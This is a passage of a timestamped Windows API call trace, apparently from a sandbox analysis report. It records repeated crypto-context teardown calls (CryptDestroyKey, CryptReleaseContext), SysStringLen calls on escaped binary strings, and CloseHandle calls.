(param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25\x3cf4\xf1cf\x735e\x1f62\xa680\xa917\x1d18\xd99a\xafe8\xc6bd\xafdc\x72ee\x64ed\x5dd7\xc0f0\x783e\x3e79\xb767\x2845\x9ff2\xeaad\xc4f5\xfef3\xb40c") returned 0x30 [0126.318] CryptDestroyKey (hKey=0x8e85038) returned 1 [0126.318] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0126.318] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0127.041] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0127.041] CryptDestroyKey (hKey=0x8e84e78) returned 1 [0127.041] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0127.041] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0127.041] CryptDestroyKey (hKey=0x8e84af8) returned 1 [0127.041] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0127.041] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0127.041] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xd2b7\x659e\xe1f3\x50bd\xeaa8\x9bf8\x1fc7\xf476\xf080\x9d60\xd97a\x156e\xf8d\x75a5\xc3a8\xc47a") returned 0x30 [0127.041] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x57fc\xd72b\x646f\xd9ed\xe9f2\x2d09\x64dc\xfcee") returned 0x30 [0127.041] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xc7e9\x120\xfb78\xb2d1\xf9\xd78b\xcc2b\x2760\x984a\xb91b\x8841\x940e\x201\x5db5\x45d0\x8cbf") returned 0x30 [0127.042] CryptDestroyKey (hKey=0x8e84f78) returned 1 [0127.042] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0127.042] CryptDestroyKey (hKey=0x8e84db8) returned 1 [0127.042] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0127.042] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0127.042] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0127.042] CloseHandle (hObject=0x850) returned 1 [0127.042] CloseHandle (hObject=0x81c) returned 1 [0127.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0127.042] CryptDestroyKey (hKey=0x8e85338) returned 1 [0127.042] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0127.042] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0127.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x91ed\xff47\xf609\xbda6\x894c\xdf72\x170\x841a") returned 0x30 [0127.042] CryptDestroyKey (hKey=0x8e853b8) returned 1 [0127.042] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0127.042] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0127.043] CryptDestroyKey (hKey=0x8e84bf8) returned 1 [0127.043] CryptReleaseContext (hProv=0x8e022d8, dwFlags=0x0) returned 1 [0127.043] CryptReleaseContext (hProv=0x8e022d8, dwFlags=0x0) returned 1 [0127.043] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x1b8e\xe2bb\xd02f\x7e06\xd5cb\xf275\x1bb\xb1a6\x48f\x10dd\x8a39\xbc58\x6a86\xe2eb\x5d5f\xb897") returned 0x30 [0127.043] CryptDestroyKey (hKey=0x8e84e38) returned 1 [0127.043] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0127.043] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0127.043] CloseHandle (hObject=0x860) returned 1 [0127.043] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\x56c4\x2089\x832c\xef2e\x52c7\xb964\x2f7b\xd721\x8633\x8e26\xb34b\x7c56\xd669\xf9e9\xef5d\x9326") returned 0x30 [0127.043] CloseHandle (hObject=0x858) returned 1 [0127.043] CryptDestroyKey (hKey=0x8e84b38) returned 1 [0127.043] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0127.043] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0127.044] CryptDestroyKey (hKey=0x8e85238) returned 1 [0127.044] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0127.044] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0127.044] CloseHandle (hObject=0x868) returned 1 [0127.044] CryptDestroyKey (hKey=0x8e84f38) returned 1 [0127.044] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0127.044] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0127.501] CryptDestroyKey (hKey=0x8e84af8) returned 1 [0127.501] CryptReleaseContext (hProv=0x42eb210, dwFlags=0x0) returned 1 [0127.501] CryptReleaseContext (hProv=0x42eb210, dwFlags=0x0) returned 1 [0127.501] CryptDestroyKey (hKey=0x8e84d38) returned 1 [0127.501] CryptReleaseContext (hProv=0x42ebdc0, dwFlags=0x0) returned 1 [0127.501] CryptReleaseContext (hProv=0x42ebdc0, dwFlags=0x0) returned 1 [0127.501] CryptDestroyKey (hKey=0x8e84db8) returned 1 [0127.501] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0127.501] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0127.502] CryptDestroyKey (hKey=0x8e84df8) returned 1 [0127.502] CryptReleaseContext (hProv=0x42ebcb0, dwFlags=0x0) returned 1 [0127.502] CryptReleaseContext (hProv=0x42ebcb0, dwFlags=0x0) returned 1 [0127.502] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0127.502] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\xef55\x16d1\x949b\xa847\x25ae\xd9e6\xecea\x69da\x4493\xb939\x381b\x7df2\x3ceb\xc5b8\x79e5\xfecd") returned 0x30 [0127.502] CryptDestroyKey (hKey=0x8e84e38) returned 1 [0127.502] CryptReleaseContext (hProv=0x42eb298, dwFlags=0x0) returned 1 [0127.502] CryptReleaseContext (hProv=0x42eb298, dwFlags=0x0) returned 1 [0127.503] CryptDestroyKey (hKey=0x8e84c78) returned 1 [0127.503] CryptReleaseContext (hProv=0x42eb298, dwFlags=0x0) returned 1 [0127.503] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x2591\x8ec3\xd5aa\xd5cf\x48cf\x4ab7\x24d5\x4a96\xe24a\xbc49\xa6ff\xd9fe\xf285\x2529\x5f10\x17a0") returned 0x30 [0127.503] CryptReleaseContext (hProv=0x42eb298, dwFlags=0x0) returned 1 [0127.503] CryptDestroyKey (hKey=0x8e84cf8) returned 1 [0127.503] CryptReleaseContext (hProv=0x42ebcb0, dwFlags=0x0) returned 1 [0127.503] CryptReleaseContext (hProv=0x42ebcb0, dwFlags=0x0) returned 1 [0127.503] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0127.957] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xfc46\x9554\x9bd7\x41fc\x773e\x3264\x54d2\x3860\xcf9f\x65d5\xc411\xa80e\xffb5\x9b43\xb66f\xcda6") returned 0x30 [0127.958] CryptDestroyKey (hKey=0x8e850b8) returned 1 [0127.958] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0127.958] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0127.958] CryptDestroyKey (hKey=0x8e84978) returned 1 [0127.958] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0127.958] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0127.958] CryptDestroyKey (hKey=0x8e84f38) returned 1 [0127.958] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0127.958] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0127.958] CryptDestroyKey (hKey=0x8e84bf8) returned 1 [0127.958] CryptReleaseContext (hProv=0x4396b48, dwFlags=0x0) returned 1 [0127.959] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x9b7c\xe560\x7300\xc067\xb34c\x857b\x528\x3184") returned 0x30 [0127.959] CryptReleaseContext (hProv=0x4396b48, dwFlags=0x0) returned 1 [0127.959] CryptDestroyKey (hKey=0x8e84b38) returned 1 [0127.959] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0127.959] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0127.959] CryptDestroyKey (hKey=0x8e84ff8) returned 1 [0127.959] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0127.959] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0127.959] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x2077\x688f\x94dd\xc085\x4a26\x4e89\x4174\x4099\x78b1\xd3a\x5fcd\xc61c\x7444\x85d6\x5c5\x1d7") returned 0x30 [0127.959] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0127.960] CryptDestroyKey (hKey=0x8e84bb8) returned 1 [0127.960] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0127.960] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0127.960] CryptDestroyKey (hKey=0x8e850f8) returned 1 [0127.960] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0127.960] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0127.960] CryptDestroyKey (hKey=0x8e84f78) returned 1 [0127.960] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0127.960] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0127.960] CryptDestroyKey (hKey=0x8e84a78) returned 1 [0127.960] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0127.961] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0127.961] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x182b\x6cbb\x1ef2\x3c6e\x732e\x55b5\xade0\x334a\x6674\xcaf5\xd1e0\xdfa9\xe2a8\xf6de\x2b49\x7b44") returned 0x30 [0128.332] CryptDestroyKey (hKey=0x8e84c78) returned 1 [0128.332] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0128.333] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xda81\xdafa\xa7d6\x1e72\xee6\x9e04\xa43\x9b76\x522\x741\x6373\xbcb2\x3ec\xbb0a\xddad\x2b29") returned 0x30 [0128.333] CryptDestroyKey (hKey=0x8e84f78) returned 1 [0128.333] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0128.333] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0128.333] CryptDestroyKey (hKey=0x8e84ff8) returned 1 [0128.333] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0128.333] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0128.333] CryptDestroyKey (hKey=0x8e84db8) returned 1 [0128.333] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0128.333] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0128.333] CryptDestroyKey (hKey=0x8e849b8) returned 1 [0128.333] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0128.333] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0128.333] CryptDestroyKey (hKey=0x8e84f38) returned 1 [0128.334] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0128.334] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0128.334] CryptDestroyKey (hKey=0x8e84af8) returned 1 [0128.334] CryptReleaseContext (hProv=0x4396b48, dwFlags=0x0) returned 1 [0128.334] CryptReleaseContext (hProv=0x4396b48, dwFlags=0x0) returned 1 [0128.334] CryptDestroyKey (hKey=0x8e84bb8) returned 1 [0128.334] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0128.334] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0128.334] CryptDestroyKey (hKey=0x8e850f8) returned 1 [0128.334] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0128.334] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0128.334] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0128.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0128.334] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xebb9\x58a4\x6400\x23f8\x8e2e\xb3b3\xf672\x4243\x7eb3\x7735\x43b8\x1efe\xd09d\xdb55\xf2cc\x67e7") returned 0x30 [0128.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x9b7c\xe560\x7300\xc067\xb34c\x857b\x528\x3184") returned 0x30 [0128.335] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xc3c\xd013\xfa69\x9e0e\xffb0\x90a9\xcf03\xcee2\xc7e3\x3f2b\xc744\xdfcf\x823a\xcc44\x2503\x2643") returned 0x30 [0128.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x9b7c\xe560\x7300\xc067\xb34c\x857b\x528\x3184") returned 0x30 [0128.627] CryptDestroyKey (hKey=0x8e84fb8) returned 1 [0128.627] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0128.627] CryptDestroyKey (hKey=0x8e84ff8) returned 1 [0128.627] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0128.627] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0128.627] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0128.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\xebde\xa52d\x8b6c\x6f24\x1b2a\xb2fe\x14ea\x4bbe") returned 0x30 [0128.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x2544\xdb4f\x7fdc\x7ddf\xd0ff\xe0a7\xa0f6\x4bea") returned 0x30 [0128.628] CryptDestroyKey (hKey=0x8e84a78) returned 1 [0128.628] CryptReleaseContext (hProv=0x4396b48, dwFlags=0x0) returned 1 [0128.628] CryptReleaseContext (hProv=0x4396b48, dwFlags=0x0) returned 1 [0128.628] CryptDestroyKey (hKey=0x8e850b8) returned 1 [0128.628] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0128.628] CryptDestroyKey (hKey=0x8e85138) returned 1 [0128.628] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0128.628] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0128.628] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x57fc\xd72b\x646f\xd9ed\xe9f2\x2d09\x64dc\xfcee") returned 0x30 [0128.628] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\xd40d\x6059\x894f\x78e2\x491b\x559e\xa965\x7a80\x7e0d\x46eb\x303b\x93d3\x4fce\x23a8\xdd82\xb7ce\x3aa\xf9be\x3dca\x24a6\xb2c7\x9da2\x659b\x85fb") returned 0x30 [0128.629] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x1c47\x22db\x4b88\x131a\x5589\xcf6c\xc155\x797d\x2522\xbd9d\x6141\x61c1\xb3b6\x560b\xeb1d\x98c5") returned 0x30 [0128.629] CryptDestroyKey (hKey=0x8e84b78) returned 1 [0128.629] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0128.629] CryptDestroyKey (hKey=0x8e84cf8) returned 1 [0128.629] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0128.629] CryptDestroyKey (hKey=0x8e84bf8) returned 1 [0128.629] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0128.629] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0128.629] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0128.629] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0128.630] CryptDestroyKey (hKey=0x8e84f78) returned 1 [0128.630] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0128.630] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0128.630] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0128.630] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x6596\x2183\xafb5\x1139\xc445\xca1a\xd77f\xc9e2\x283c\x9194\xd9cf\x2a90\x29a3\x4c3e\x555a\x7653") returned 0x30 [0128.630] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0129.885] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x63c5\x741a\x7fd0\xb5df\x5618\x5b0a\x613d\x80b6\x2a4c\x2f05\xa601\x900d\xe78c\xea30\x7ede\x6a4f") returned 0x30 [0129.886] CryptDestroyKey (hKey=0x8e84d38) returned 1 [0129.886] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0129.886] CryptDestroyKey (hKey=0x8e84b78) returned 1 [0129.886] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0129.886] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0129.886] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xca1d\xab\x8ac1\x82b3\x179e\xa410\x1615\x93ed\x3fee\xb206\x3a75\xa24c\x31bd\xc87c\x23d\x49c5") returned 0x30 [0129.886] CryptDestroyKey (hKey=0x8e84db8) returned 1 [0129.886] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0129.887] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0129.887] CryptDestroyKey (hKey=0x8e84f78) returned 1 [0129.887] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0129.887] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0129.887] CryptDestroyKey (hKey=0x8e84c78) returned 1 [0129.887] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0129.887] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0129.888] CryptDestroyKey (hKey=0x8e84fb8) returned 1 [0129.888] CryptReleaseContext (hProv=0x4396b48, dwFlags=0x0) returned 1 [0129.888] CryptDestroyKey (hKey=0x8e85138) returned 1 [0129.888] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0129.888] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0129.888] CryptReleaseContext (hProv=0x4396b48, dwFlags=0x0) returned 1 [0129.888] CryptDestroyKey (hKey=0x8e84df8) returned 1 [0129.888] CryptReleaseContext (hProv=0x4396e78, 